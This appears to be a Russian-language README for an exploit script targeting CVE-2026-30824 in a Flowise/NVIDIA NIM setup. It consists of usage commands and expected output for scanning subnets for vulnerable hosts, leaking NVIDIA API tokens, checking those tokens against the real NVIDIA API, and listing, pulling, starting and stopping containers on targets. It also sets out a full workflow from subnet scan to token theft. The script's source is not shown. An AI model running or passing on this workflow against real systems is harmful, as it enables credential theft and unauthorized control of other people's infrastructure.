# Клонируйте или скачайте скрипт
git clone <repository>
cd cve-2026-30824

# Установите зависимости
pip install -r requirements.txt
# или
pip install requests

# Проверка, уязвима ли одна цель
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check

# Ожидаемый вывод (УЯЗВИМА):
# [+] Цель ВЫГЛЯДИТ УЯЗВИМОЙ (HTTP 200)
#     Ответ: {...}

# Создайте targets.txt с одним URL на строку
cat > targets.txt << EOF
http://192.168.1.100:3000
http://192.168.1.101:3000
http://192.168.1.102:3000
EOF

# Сканирование всех целей (быстрый режим, без запросов)
python3 CVE-2026-30824.py -f targets.txt --scan-only

# Ожидаемый сводный вывод:
# ============================================================
# [*] Сводка сканирования
# ============================================================
# [+] УЯЗВИМЫХ: 2
#     ✓ http://192.168.1.100:3000
#     ✓ http://192.168.1.101:3000
# [-] ИСПРАВЛЕНО: 1
#     ✗ http://192.168.1.102:3000

# Утечка API-токена NVIDIA из уязвимого эндпоинта
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token

# Ожидаемый вывод:
# [*] Попытка утечки API-токена NVIDIA...
# [+] API-токен NVIDIA: eyJ0eXAiOiJKV1QiLCJhbGc...
# [+] Тип токена: Bearer
# [+] Срок действия: 3600s

# Проверка, что утёкший токен работает с реальным NVIDIA API
python3 CVE-2026-30824.py --validate-token "eyJ0eXAiOiJKV1QiLCJhbGc..."

# Ожидаемый вывод:
# [*] Проверка токена через NVIDIA API...
# [+] Токен ДЕЙСТВИТЕЛЕН! Доступ к 45 моделям NVIDIA NIM.
#     - mistralai/mistral-7b-instruct-v0.1
#     - meta-llama/llama2-70b
#     - (...)

# Перечисление контейнеров на цели
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --list-containers

# Ожидаемый вывод:
# [*] Получение списка запущенных контейнеров...
# [+] HTTP 200
# [
#   {
#     "id": "abc123xyz",
#     "names": ["flowise_nim"],
#     "image": "nvcr.io/nvidia/nim:latest",
#     "state": "running"
#   }
# ]

# Запуск всех проверок разведки на уязвимой цели
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all

usage: CVE-2026-30824.py [-h] [-t TARGET] [-f TARGETS_FILE] [--check]
                             [--scan-only] [--get-token]
                             [--validate-token TOKEN] [--list-containers]
                             [--get-container CONTAINER_ID]
                             [--get-image IMAGE_ID] [--pull-image IMAGE_TAG]
                             [--start-container IMAGE_TAG]
                             [--container-name CONTAINER_NAME]
                             [--stop-container CONTAINER_ID] [--preload]
                             [--all] [--timeout TIMEOUT] [--debug]

Необязательные аргументы:
  -h, --help                    Показать это справочное сообщение и выйти
  -t, --target TARGET           URL цели (например, http://192.168.1.100:3000)
  -f, --targets-file FILE       Файл со списком целей (по одной на строку)
  
Обнаружение уязвимости:
  --check                       Только проверить, уязвима ли цель
  --scan-only                   Сканировать цели на уязвимость без запросов
  --debug                       Показать детали запросов и необработанные ответы
  
Эксплуатация:
  --get-token                   Утечка API-токена NVIDIA
  --validate-token TOKEN        Проверить утёкший токен через NVIDIA API
  --list-containers             Список запущенных контейнеров NIM
  --get-container CONTAINER_ID  Получить детали контейнера
  --get-image IMAGE_ID          Получить детали образа
  --pull-image IMAGE_TAG        Загрузить Docker-образ (например, nvcr.io/nvidia/nim:latest)
  --start-container IMAGE_TAG   Запустить контейнер из тега образа
  --container-name NAME         Имя для запущенного контейнера
  --stop-container CONTAINER_ID Остановить запущенный контейнер
  --preload                     Запустить эндпоинт предварительной загрузки ресурсов
  --all                         Запустить все проверки разведки
  
Дополнительно:
  --timeout SECONDS             Таймаут запроса в секундах (по умолчанию: 15)

# 1. Сканировать всю подсеть на уязвимые экземпляры
python3 CVE-2026-30824.py -f internal_ips.txt --scan-only

# 2. Для каждой уязвимой цели извлечь токен
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token

# 3. Проверить воздействие токена
python3 CVE-2026-30824.py --validate-token "<extracted-token>"

# Проверить уязвимость и продемонстрировать полный радиус поражения
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all

# Это выполнит:
# 1. Проверку уязвимости
# 2. Извлечение API-токена NVIDIA
# 3. Проверку токена через NVIDIA API
# 4. Список запущенных контейнеров
# 5. Перечисление ресурсов

# Периодический мониторинг цели (через cron или планировщик)
python3 CVE-2026-30824.py -f monitored_targets.txt --scan-only > scan_$(date +%s).log

# Проверка подключения
curl -v http://192.168.1.100:3000/

# Увеличение таймаута
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check --timeout 30

# Явно укажите порт и протокол
python3 CVE-2026-30824.py -t https://192.168.1.100:3000 --check